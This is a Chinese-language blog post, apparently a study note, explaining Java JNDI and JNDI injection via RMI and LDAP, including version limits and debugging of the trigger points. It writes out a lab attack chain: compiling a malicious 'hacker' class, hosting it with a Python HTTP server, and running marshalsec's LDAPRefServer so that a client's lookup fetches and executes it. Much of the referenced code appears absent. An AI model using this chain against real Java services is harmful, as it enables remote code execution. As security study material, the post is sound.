0x00 前言
3号来的学校,现在已经11号了,大半月了,Pickle的练习写了几题也不想写了,别的也啥没学….每天不坚持写东西,真的会不知不觉间放弃学习。服务器还有40多天到期,本来想续费,结果阿里云原学生机,不能优惠续费了,只能原价续费(¥1400),真是天使呢🤗。它把原来的每年优惠续费换成了一个天使的免费领学生机x个月如果完成了训练还能免费续费x天,真是天使。不过还搞了一个老用户96每年,可当前价续费3年的1核2G,配置和学生机一样,而且好像原来学生机一年是114,看起来很好,实际是个大天使,它旁边还有一个面向新用户的99每年,当前价续费3年,配置是2核2G,存储盘还更大更好😅,我不能买。你说天使不天使,虽然我重新买96的看起来很好,毕竟我也不能当几年学生了,但是我反正都要重新配置,为什么不去用腾讯首年60,带宽为6M的捏….
废话了一大堆,本篇包含以下元素:
- JNDI的介绍
- 如何利用JNDI进行反序列化攻击
懒狗把写的Demo都放到Github了(chenlvtang/JavaUnserialization),可以fork一份来自己学一学
0x01 JNDI
简单介绍
JNDI的全名为’Java Naming and Directory Interface’,即Java命名和目录接口。通过它我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,并且可以实现配置与业务的解耦,一个常见的例子就是JDBC的连接,在没有JNDI的情况下,我们常常用以下方式来连接:
但是当我们需要更换MySQL为SQLServer的时候,又需要在代码中去修改;或者,当我们需要更换MySQL数据库时,就要去代码中改变连接方式或者密码与用户。这样显然是非常不好的,于是JDNI便发挥了作用。我们可以在Tomcat的/conf/context.xml中进行如下配置:
然后在web.xml中引入:
之后我们就能够在代码中很方便的连接和更换数据库:
可以看到,这时候如果我们需要更换数据库,只需要简单的改一个名字就好了,十分的方便与快捷捏😋。(事实上,上面的配置我自己没试过,大家体会下JDNI的应用就好了)
改写RMI
上面说到,通过JNDI我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,这里我们就用JNDI来改写一下之前写过的RMI程序(关于Java中RMI的个人拙见)。
接口类和接口实现类不需要修改,只需要修改服务端和客户端:
中间那一坨是JNDI的初始化,然后我们还要对客户端进行一些修改:
然而我现在并没有体会到JNDI对RMI有什么帮助,大概就是如果调用了LDAP啥的,可以有一个统一的格式调用吧…
0x02 JNDI注入
Reference类
之前我们的绑定都是直接将类与名字进行绑定,但有时候一个类如果太大了的时候,就不太适合了。Java为此定义了Naming.Reference类,使我们可以绑定引用来实现类的绑定。使用方法如下:
Reference中的第一个参数为ClassName,第二个参数为FactoryClassName,第三个参数为FactoryURL。当客户端进行lookup时,会先在本地(CLASSPATH)中寻找名字为FactoryClassName的类,如果不存在,则会到FactoryURL(支持HTTP或者FTP、File协议)中去寻找FactoryClass,然后使用FactoryClass.newInstance()来实例化。
可以看到,这里存在一个远程类的调用问题,如果客户端lookup的参数可被控制,那么就有可能将恶意类在客户端中执行。JNDI注入正是基于此,并借用RMI和LDAP来实现攻击(这两个都可返回reference类)。
动态协议转换
在JNDI中,客户端的lookup参数存在动态协议转换,即使服务端或者客户端指定了Context.PROVIDER_URL
, 但lookup参数函数会根据你提供的协议,进行不同的调用。所以当客户端的lookup参数可控时, 我们可以在自己的主机上搭起一个RMI或者LDAP服务器来进行攻击,而不用管代码实际上是进行哪种服务的lookup。
0x03 RMI-JNDI
思路
要利用RMI服务进行JNDI注入,需要JDK版本小于6u132、7u122、8u113,因为在之后的版本之中,设置了com.sun.jndi.rmi.object.trustURLCodebase=false
。这个参数对我们的影响,我们将在后面的代码调试中来具体分析,现在我们先来理清一下利用JNDI进行攻击的思路:
- 客户端JNDI的lookup参数可控(注意一定要使用JNDI,原因见后面的调试)
- 攻击者搭建一个Web服务器或者FTP服务器(File协议用于本地文件的访问),里面存放了精心构造的恶意类
- 攻击者构造一个Reference,并bind到注册中心
- 当客户端lookup我们的恶意类的时候,就会触发攻击
编写和部署恶意类
- 使用命令
javac hacker.java
来编译生成hacker.class,然后新建一个文件夹,把class放进去。 - 使用命令
python3 -m http.server 80
,来以当前文件夹为根目录搭起一个http服务
构造恶意服务端
攻击
- 先运行RMI服务端(如果在恶意服务端里创建了注册中心,就可以不用启动RMI服务端,我这里没写)
- 然后再运行恶意服务端
- 控制客户端的lookup参数,来访问
"rmi://127.0.0.1:1099/test"
😋然后就是…..虽然成功执行了命令,但是得到一个完美的报错捏:
问题不大,让我们重新写一下恶意类
恶意类的重新构造
搜索这个类,发现一个接口,所以我们就让恶意类实现一下:
成功执行,下面就让我们来调试,分析一下利用点吧🤗
调试
一步步调试直到命令执行,我们得到了如下的堆栈:
getObjectInstance部分代码如下:
查看触发处,是一个函数factory = getObjectFactoryFromReference(ref, f);
,进入查看:
看到这里我们就能理解之前的报错和我们是如何成功执行命令的了(另外这里还显示了上文说过的现在本地查找再远程查找的代码)。之所以报错,是因为这里的(ObjectFactory) clas.newInstance()
进行了转换;而命令的成功执行,同样得益于(ObjectFactory) clas.newInstance()
的实例化,Java在实例化的时候,会初始化构造函数和static代码块,所以我们也可以写一个static的方法来试试:
值得注意的是,我们留意到getObjectInstance中还有return factory.getObjectInstance(ref, name, nameCtx,environment);
,在这里调用了我们远程类中的getObjectInstance方法,而这在我们的恶意类中是可以重写的,所以这里又多了一个触发点,我们可以在其中构造payload。下面就让我们把payload总结一下吧😋
Payload总结
三种方法,每个都调用不同的Windows程序看看:
很顺利的调用了三个程序😋:
版本限制
上面我们使用的未进行限制的版本,下面我们使用8u113以上的JDK8来运行看看:
可以看到,报错了,并告诉我们要把com.sun.jndi.rmi.object.trustURLCodebase=false
设置为true,跟进代码,发现以下decodeObject:RegistryContext (com.sun.jndi.rmi.registry)
多了验证部分:
0x04 LDAP-JNDI
思路
LDAP的利用思路是一样的,它同样可以返回reference类,只是Java对LDAP的限制的比较晚😋,所以我们可利用的版本也就更多了。在6u211、7u201、8u191、11.0.1之前的版本都能够成功调用。
恶意类的编写和部署
就拿上面那个总结的payload吧,然后部署的话,也还是一样。
构造恶意服务端
由于我并不知道LDAP的服务端怎么写,并且我现在也并不清楚LDAP服务在Java中的调用原理,所以我构造不出😅。在网上找这部分资料的时候,大家也都和我一样懒狗,分析完RMI就懒得分析LDAP了,虽然这两个触发点是一样的,但是好歹讲讲LDAP是如何运行的啊…所以我只能像他们一样,利用工具mbechler/marshalsec来起一个LDAP服务器,并且它贴心的帮我们设置了Reference。有空懒狗去深入研究下
首先我们在Github上把源代码下载下来,然后用IDEA打开,这时候Maven会帮我自动下载好依赖,然后使用maven命令mvn clean package -DskipTests
来打包成jar。
打包好后,使用命令java -cp ./marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#hacker
来开启LDAP服务:
- -cp 指定class的路径,即marshalsec.jar中的marshalsec.jndi.LDAPRefServer
- http://127.0.0.1/#hacker 即为我们的codebase地址(FactoryURL)加上FactoryClass
- 其实最后还可以带上一个端口,用来指定LDAP服务的端口,如果不指定则默认是1389
攻击
- 搭起一个恶意服务端
- 控制客户端lookup的URL为
"ldap://127.0.0.1:1389/xxx"
进行访问,我发现甚至都不用像RMI一样指定键名,具体原因可能和LDAP有关
调试
一步步调试,直到触发漏洞,查看到调用栈如下:
可以看到,除了多了几个lookup之外,触发点是相同的
接着我们来调试一下高版本,来看看限制,发现clas = helper.loadClass(factoryName, codebase);
没有成功调用,跟进发现,存在限制:
跳转到声明,这个变量是来自com.sun.jndi.ldap.object.trustURLCodebase
:
结束,以后再来填坑
0x05 参考
Java安全:JNDI注入. 关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在201… | by m01e | Medium
攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客
Java安全之JNDI注入 - 安全客,安全资讯平台 (anquanke.com)
Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)
JavaSec jndi注入利用分析 | thonsun’s blog